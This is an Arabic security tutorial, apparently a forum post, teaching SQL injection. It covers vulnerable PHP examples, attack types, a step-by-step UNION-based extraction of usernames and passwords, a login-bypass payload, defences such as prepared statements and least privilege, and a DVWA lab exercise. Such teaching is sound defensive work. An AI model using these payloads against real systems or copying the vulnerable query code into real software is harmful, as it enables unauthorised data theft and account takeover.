SQL Injection — فهم الحقن والاستغلال والحماية الدرس الثاني

[codeNET]-28D928F0-BC8A-4B21-902C-22FD346F0756.webp
الحلقة الثانية: SQL Injection — فهم الحقن والاستغلال والحماية


مقدمة الحلقة

في الحلقة الأولى، وضعنا الأساس النظري لفهم ثغرات الويب، وتناولنا ثغرة XSS بأنواعها الثلاثة. اليوم ننتقل إلى واحدة من أخطر الثغرات على الإطلاق وأكثرها انتشاراً في تاريخ الويب: SQL Injection، أو "حقن استعلامات قواعد البيانات".

تكمن خطورة هذه الثغرة في أنها لا تقتصر على التأثير على المتصفح كما في XSS، بل تصل مباشرة إلى قلب الخادم وقاعدة بياناته. ثغرة واحدة في بناء استعلام قد تسمح للمهاجم بقراءة قاعدة بيانات بأكملها، أو تعديلها، أو حذفها، أو حتى تنفيذ أوامر على نظام التشغيل نفسه في بعض الحالات.

رغم أن هذه الثغرة معروفة منذ أكثر من عقدين، فإنها لا تزال تظهر ضمن فئة Injection في تصنيف OWASP Top 10 لعام 2021. السبب بسيط: مازال كثير من المطوّرين يبنون الاستعلامات بطريقة يدوية غير آمنة، ويثقون بمدخلات المستخدم دون تحقق.




ما هي ثغرة SQL Injection؟

هي ثغرة تسمح للمهاجم بحقن كود SQL داخل استعلام تنفّذه قاعدة البيانات. تحدث عندما يقوم التطبيق ببناء استعلام SQL عن طريق دمج مدخلات المستخدم مباشرة داخل نص الاستعلام، بدلاً من تمريرها كمعاملات منفصلة (Parameters).

مثال على كود مصاب بلغة PHP:

كود:
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = " . $id;
$result = mysqli_query($connection, $query);

عندما يزور المستخدم الرابط: ?id=1، الاستعلام المنفَّذ هو:

كود:
SELECT * FROM users WHERE id = 1

لكن عندما يزور الرابط: ?id=1 OR 1=1، الاستعلام يصبح:

كود:
SELECT * FROM users WHERE id = 1 OR 1=1

وبما أن الشرط 1=1 صحيح دائماً، فالنتيجة إرجاع كل صفوف الجدول. هذا مثال بسيط، لكن المدى الحقيقي أوسع بكثير.




أنواع SQL Injection الرئيسية

تُصنَّف ثغرات SQLi عادة إلى ثلاث فئات بناءً على طريقة استخراج البيانات:

1. In-band SQL Injection

المعروف أيضاً بـ Classic SQLi، وهو الأسهل والأكثر شيوعاً. يحصل فيه المهاجم على نتائج الاستعلام مباشرة عبر نفس قناة الاتصال التي أرسل عبرها الحمولة. له نوعان فرعيان:

Union-based: يستخدم فيه المهاجم عبارة UNION لدمج نتائج استعلام خبيث مع نتائج الاستعلام الأصلي.

مثال: ?id=1 UNION SELECT username, password FROM users

Error-based: يعتمد على استغلال رسائل الخطأ التي تعرضها قاعدة البيانات لتسريب معلومات عنها.

2. Blind SQL Injection

في هذا النوع، لا يرى المهاجم نتائج الاستعلام مباشرة، لكنه يستنتج المعلومة من استجابة التطبيق. له نوعان:

Boolean-based: يعتمد على طرح أسئلة صواب/خطأ على قاعدة البيانات، وملاحظة اختلاف الاستجابة.

مثال: ?id=1 AND SUBSTRING(username,1,1)='a' — إذا تغيّرت الصفحة، فالحرف الأول هو a.

Time-based: يعتمد على قياس زمن استجابة الخادم للاستدلال على صحة الشرط.

مثال في MySQL: ?id=1 AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0) — إذا تأخر الرد 5 ثوانٍ، فالحرف الأول هو a.

3. Out-of-band SQL Injection

يُستخدم عندما لا يستطيع المهاجم استخدام نفس القناة في الاستغلال، فيقوم بإرسال البيانات إلى خادم خارجي يتحكم به عبر قنوات بديلة مثل DNS أو HTTP. يتطلب هذا النوع من قدرات معينة في قاعدة البيانات، مثل دعم عبارة LOAD_FILE في MySQL أو xp_dirtree في SQL Server.




استغلال SQLi خطوة بخطوة — مثال عملي

بفرض أن لدينا رابطاً مصاباً: https://example.com/product.php?id=1

الخطوة 1: تحديد عدد الأعمدة

نستخدم ORDER BY لمعرفة عدد الأعمدة في الاستعلام الأصلي:

كود:
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--

نستمر في زيادة الرقم حتى تظهر رسالة خطأ، فآخر رقم نجح هو عدد الأعمدة.

الخطوة 2: تحديد الأعمدة القابلة للعرض

بعد معرفة عدد الأعمدة (مثلاً 3)، نجرّب:

كود:
?id=-1 UNION SELECT 1,2,3--

نستخدم ?id=-1 لجعل الاستعلام الأصلي لا يعيد شيئاً، فتظهر أرقام الأعمدة في الصفحة. الأعمدة التي تظهر هي التي يمكننا استغلالها لعرض البيانات.

الخطوة 3: استخراج أسماء قواعد البيانات

كود:
?id=-1 UNION SELECT 1,database(),3--

الخطوة 4: استخراج أسماء الجداول

في MySQL:

كود:
?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

الخطوة 5: استخراج أسماء الأعمدة

كود:
?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--

الخطوة 6: استخراج البيانات

كود:
?id=-1 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users--

الرمز 0x3a هو النقطتان الرأسيتان (:) لدمج اسم المستخدم مع كلمة المرور.




تجاوز المصادقة (Authentication Bypass)

من أخطر سيناريوهات SQL Injection في نماذج تسجيل الدخول. بفرض أن كود التحقق كالتالي:

كود:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

يدخل المهاجم في حقل اسم المستخدم:

كود:
' OR '1'='1' --

فيصبح الاستعلام:

كود:
SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='...'

الشرط '1'='1' صحيح دائماً، والجزء بعد -- هو تعليق يُلغي التحقق من كلمة المرور. النتيجة: دخول بحساب أول مستخدم في الجدول، والذي غالباً ما يكون المدير.




الحماية من SQL Injection

الحماية الفعّالة متعددة الطبقات:

1. الاستعلامات المُعامَلة (Prepared Statements)

هذه هي الحماية الأساسية والذهبية. تمرير المدخلات كمعاملات منفصلة يضمن عدم تفسيرها كأكواد SQL.

مثال في PHP باستخدام PDO:

كود:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();

مثال باستخدام المعاملات المُسمّاة:

كود:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([':username' => $username, ':password' => $password]);

مثال في Node.js باستخدام mysql2:

كود:
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE id = ?',
  [userId]
);

مثال في Python باستخدام sqlite3:

كود:
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

2. استخدام ORM (Object-Relational Mapping)

أطر العمل الحديثة مثل Laravel (Eloquent)، وDjango ORM، وPrisma، وSequelize تتعامل مع الاستعلامات بشكل آمن افتراضياً. مثال في Laravel:

كود:
$user = User::where('email', $email)->first();

هذا الاستعلام آمن لأنه يستخدم الـ Binding الداخلي.

3. التحقق من نوع المدخلات (Input Validation)

للحقول الرقمية مثل ID، تحقق من كونها أرقاماً فقط:

كود:
if (!filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
    die("معرّف غير صالح");
}

هذا لا يُغني عن الاستعلامات المُعامَلة، لكنه طبقة دفاع إضافية.

4. مبدأ أقل صلاحية (Least Privilege)

مستخدم قاعدة البيانات الذي يتصل به التطبيق يجب أن يملك فقط الصلاحيات التي يحتاجها. لا تعطه صلاحيات DROP TABLE أو CREATE USER إذا لم يكن بحاجتها. هذا يحدّ من الأثر في حال حدوث استغلال.

5. تعطيل رسائل الخطأ التفصيلية

رسائل الخطأ التي تكشف بنية قاعدة البيانات تسهّل على المهاجم استغلال Error-based SQLi. اجعل التطبيق يعرض رسالة عامة، وسجّل التفاصيل في ملفات السجل الخاصة بالخادم.

6. استخدام WAF (Web Application Firewall)

جدار حماية تطبيقات الويب مثل ModSecurity مع قواعد OWASP CRS يمكنه اعتراض أنماط الحقن المعروفة. لكن WAF ليس بديلاً عن الإصلاح الجذري، بل طبقة دفاع إضافية.




مختبر عملي مقترح

للتطبيق الآمن والتدريب العملي، أنصح ببناء بيئة اختبار محلية باستخدام أحد الخيارات التالية:

  • DVWA (Damn Vulnerable Web Application): تطبيق PHP كامل يحتوي على ثغرات متعمّدة بمستويات صعوبة متعددة. يمكن تشغيله عبر XAMPP أو Docker.
  • SQLi Labs: مختبر مخصص لثغرات SQL Injection يحتوي على أكثر من 65 تمريناً متدرجاً.
  • HackTheBox و TryHackMe: منصات تدريبية تحتوي على تحديات حقيقية ببيئة معزولة.
  • PortSwigger Web Security Academy: مختبرات مجانية رسمية من فريق Burp Suite، وتشمل تمارين SQLi متقدمة جداً.

بيئة Docker المقترحة لـ DVWA:

كود:
docker run --rm -it -p 80:80 vulnerables/web-dvwa

ثم افتح المتصفح على: http://localhost




تمرين الدرس

بعد تثبيت DVWA وتشغيله في وضع Low Security، جرّب الخطوات التالية:

  1. انتقل إلى قسم SQL Injection.
  2. أدخل رقماً عادياً في حقل User ID، ولاحظ النتيجة.
  3. جرّب: 1' OR '1'='1 — هل ظهرت بيانات كل المستخدمين؟
  4. جرّب: 1' UNION SELECT user,password FROM users-- — هل استخرجت كلمات المرور؟
  5. انتقل الآن إلى وضع Security = High وأعد نفس المحاولات. لاحظ كيف تتصدى الحماية.

هذا التمرين يعلّمك الفرق الجوهري بين الكود المصاب والكود المحمي في بيئة آمنة تماماً.




خلاصة الحلقة الثانية

  • SQL Injection تحدث عندما تُدمج مدخلات المستخدم داخل نص الاستعلام دون معاملة آمنة.
  • ثلاثة أنواع رئيسية: In-band و Blind و Out-of-band، وكل نوع له أساليب استغلال مختلفة.
  • الاستعلامات المُعامَلة (Prepared Statements) هي الحماية الجذرية، وليس مجرد فلترة أو تعقيم.
  • الدفاع متعدد الطبقات: Prepared Statements + ORM + Validation + Least Privilege + WAF.
  • التدريب العملي في بيئات مثل DVWA و PortSwigger Labs هو الطريقة الأسرع للفهم الحقيقي.




معاينة الدرس القادم

في الحلقة الثالثة، سننتقل إلى مستوى أخطر: Command Injection و Remote Code Execution. سنتناول:

  • كيف يتحوّل خطأ صغير في استدعاء دالة مثل system() أو exec() إلى سيطرة كاملة على الخادم.
  • أنواع الحقن في الأوامر: عبر الفاصلة المنقوطة، وعبر الرموز المنطقية (&&، ||)، وعبر الأنابيب (|).
  • الفرق بين Command Injection و Code Injection و RCE.
  • الحماية عبر تجنّب استدعاء Shell، واستخدام دوال آمنة، والتحقق الصارم من المدخلات.
  • تطبيق عملي: استغلال ثغرة في أداة ping مصغّرة، ثم إعادة كتابتها بشكل آمن.

استعد للمفاجأة: ستكتشف أن أمراً بسيطاً مثل ping قد يكون مدخلاً لتحويل خادمك إلى بوتنت.




تذكّر دائماً: كل ما تتعلمه هنا هو لأغراض دفاعية وتطوير مهاراتك في اختبار الاختراق الأخلاقي. استخدام هذه المعرفة ضد أنظمة لا تملك تصريحاً خطياً باختبارها يُعد جريمة يعاقب عليها القانون. المختبر الآمن هو صديقك الحقيقي.
 
عودة
أعلى أسفل